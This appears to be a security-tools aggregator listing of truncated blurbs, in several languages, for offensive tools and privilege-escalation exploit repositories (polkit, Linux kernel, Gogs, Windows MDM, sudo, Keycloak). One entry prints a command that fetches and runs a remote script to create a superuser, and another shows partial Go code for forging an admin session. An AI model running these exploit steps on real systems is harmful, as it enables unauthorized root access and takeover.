CloudPrivs

CloudPrivs I got creds, now what? Overview CloudPrivs is a tool that leverages the existing power of SDKs like Boto3 to brute force privileges of all cloud services to determine what privileges exist for a given set of credentials. This tool is useful for Pentesters, Red Teamer's and other securi...

hackerbot

hackerbot 与你的助手聊天并享受黑客乐趣 这个机器人是聊天机器人和黑客工具的结合 聊天 Twitter 账户分析 URL 扫描 文件扫描 IP 扫描 Linux 枚举 Linux 权限提升检查器 Shellshock Mimipenguin 安装 root@kitploit: git clone https://github.com/omergunal/hackerbot cd hackerbot chmod +x install.sh ./install.sh 在 modules/virustotal-api.py 和 modules/twittersecrets.py 中更新...

Gogs_RCE

GogsRCE 漏洞复现 0x01 前台注册普通账号 0x02 go 编译伪造管理员session go run main.go root@kitploit: package main import "bytes" "encoding/gob" "encoding/hex" "fmt" "io/ioutil" func EncodeGobobj mapinterfaceinterface byte, error for , v := range obj gob.Registerv buf := bytes.NewBuffernil err :=...

QuickHeal

QuickHeal CVE-2017-5005 for Quick Heal Antivirus Advisory Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability. The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the...

Hulios

Hulios 加固版通用 Linux 隐身与洋葱路由系统 Hulios 是一个基于 eBPF 的 Linux 透明 Tor VPN 网关。它通过将 TCP 套接字和 DNS 查询重定向到内置的 Arti （Tor 客户端）实例以及本地化的 基于 Hickory 的 DNS 解析器 ，来保护出站网络流量。通过 cgroup 钩子和策略路由在内核套接字层面运行，Hulios 实现了强大的防泄漏边界，而无需修改运行时的 resolv.conf 配置，也无需依赖外部防火墙守护进程。 🔒 安全架构 Hulios 实现了严格的权限分离运行时模型： 权限分离： 入口点监管进程以主机 root...

CVE-2020-11107

CVE-2020-11107 This is a writeup for CVE-2020-11107 I've found. An issue was discovered in XAMPP before 7.2.29, 7.3.x before 7.3.16 , and 7.4.x before 7.4.4 on Windows. An unprivileged user can change a .exe configuration in xampp-contol.ini for all users including admins to enable arbitrary...

poppy

poppy : CVE-2021-4034 CVE-2021-4034 PoC，polkit 0.131 用法 已在 Arch Linux（Manjaro 和 Axyl OS）上测试 root@kitploit: git clone https://github.com/tahaafarooq/poppy make ./poppy 创建超级用户的漏洞利用 root@kitploit: bash -c "$curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh" root@kitploit:...

2022-LPE-UAF

2022-LPE-UAF Untested POC code Security researchers discovered 3 vulnerabilities in the Linux kernel that could allow a local attacker to elevate privileges and potentially execute malicious code. The proof-of-concept code is publicly available increasing the likelihood of exploitation in the wil...

CVE-2010-0426

CVE-2010-0426 https://www.cvedetails.com/cve/CVE-2010-0426/ sudo 1.6.x before 1.6.9p21 and 1.7.x before 1.7.2p4, when a pseudo-command is enabled, permits a match between the name of the pseudo-command and the name of an executable file in an arbitrary directory, which allows local users to gain...

CVE-2026-97177 Keycloak-services: keycloak-services: generic user update bypasses denied reset-password permission

A flaw was found in the user update mechanism of the Keycloak Admin REST API. When Fine-Grained Admin Permissions are enabled, the system fails to check for specific password reset authorizations during a general user profile update. This allows a delegated administrator, who should be restricted...

MSSQL-Pentest-Cheatsheet

🗄️ Chuleta de pentest MSSQL Una hoja de referencia práctica de pruebas de penetración de Microsoft SQL Server diseñada para pentesters, red teamers y estudiantes de ciberseguridad para comprender cómo enumerar, explotar y abusar de bases de datos MSSQL mal configuradas durante evaluaciones de...

raptor_infiltrate19

raptorinfiltrate19 "有时候，黑客攻击只是某个人在某件事上花费的时间比任何人合理预期的都要多。" -- Jerry Gamblin 本仓库包含我在 2019 年 5 月 2 日于 INFILTRATE19 上发表的演讲 "一个 Bug 的生命：Solaris 0day 的故事" 的所有相关材料。 相关链接 https://web.archive.org/web/20200518045907/https://techblog.mediaservice.net/2019/05/raptor-at-infiltrate-2019/ 博客...

CVE-2025-4322

🔐 CVE-2025-4322 – Motors = 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover 📌 Themes Information Plugin : Motors = 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover Vulnerable Version : = 5.6.67 CVE : CVE-2025-4322 Severity : 9.8...

CVE-2020-13885

Exploit Title: Citrix Workspace app before 1912 for Windows - Privilege Escalation 1 Date: 2020-06-07 Author: Andrew Hess Software Link: https://www.citrix.com/downloads/workspace-app/legacy-workspace-app-for-windows/workspace-app-for-windows-1911.html/ Bulletin:...

CVE-2026-64600

🚨 CVE-2026-64600 — RefluxFS Linux 内核本地权限提升（LPE） 📖 概述 CVE-2026-64600（“RefluxFS”） 是一个影响 RefluxFS 文件系统实现 的 Linux 内核漏洞。 该缺陷源于对文件系统元数据的验证不当，可能导致内核内存损坏 。在适当条件下，本地攻击者可利用该漏洞实现权限提升 。 本仓库仅用于教育目的、防御性研究和漏洞分析。 ✨ 亮点 🔥 Linux 内核漏洞 🧠 文件系统内存损坏 ⚡ 本地权限提升 🐧 Linux 环境 📚 教育研究 🔬 安全分析 📊 漏洞摘要 📂 仓库结构 root@kitploit: . ├──...

cve-2021-4034

cve-2021-4034 PoC for cve-2021-4034 Based on the PoC by https://haxx.in: https://haxx.in/files/blasty-vs-pkexec.c. Probably he's https://github.com/blasty?! I don't know. With a little help from https://github.com/daimoniac How to use? Compile cve-2021-4034.c root@kitploit: gcc -Wall...

WindowsMDM-LPE-0Day

WindowsMDM-LPE-0Day Works best on Windows 11 CVE-2021-24084 Windows Local Privilege Escalation Left officially unpatched since 2020. Hence, its still a zero day Screenshots: Youtube : https://youtu.be/lhT9m68GgL4 Affected Windows Versions Windows 10 1803 Windows 10 1809 Windows 10 1909 Windows 10...

CVE-2026-43499-Redmi-Turbo5

CVE-2026-43499 Redmi Turbo 5 漏洞利用 此预加载库基于 duchamp-root 源代码构建。 ⚠️ 警告：仅供教育和授权安全研究使用。 本仓库提供了针对 CVE-2026-43499 （GhostLock）的概念验证漏洞利用，目标设备为 小米 Redmi Turbo 5 。该漏洞利用 Linux 内核 futex PI（优先级继承）requeue 路径中的释放后使用（use-after-free）漏洞，实现本地权限提升，并在不解锁引导加载程序或修改引导镜像的情况下安装 KernelSU。 ⚠️ 免责声明 本软件仅供教育和安全研究目的使用。 请勿...

DirtyClone

DirtyClone CVE-2026-43503 - Python PoC Non-official Python port of DirtyClone — a Linux kernel local privilege escalation vulnerability. This repository contains a working Proof of Concept that allows an unprivileged local user to gain root privileges by exploiting page-cache corruption via clone...

CVE-2026-64531

CVE-2026-64531 — OVSwrap Linux 内核 Open vSwitch 模块本地提权普通用户 → rootPoC。利用 16 位 nlalen 字段的整数回绕,从普通用户 一路提到 root 。 漏洞简述 OVS 生成的嵌套 action 流超过 65535 字节时,16 位 nlalen 字段发生回绕。攻击者仅在私有用户/网络命名空间内持有 CAPNETADMIN 即可构造超长 CLONE action,使内核解析器落入攻击者控制的 conntrack 数据,进而获得任意内核读 与逐字递减 原语,最终篡改自身凭据提权到 root。 该 bug 源于一个存在了 13...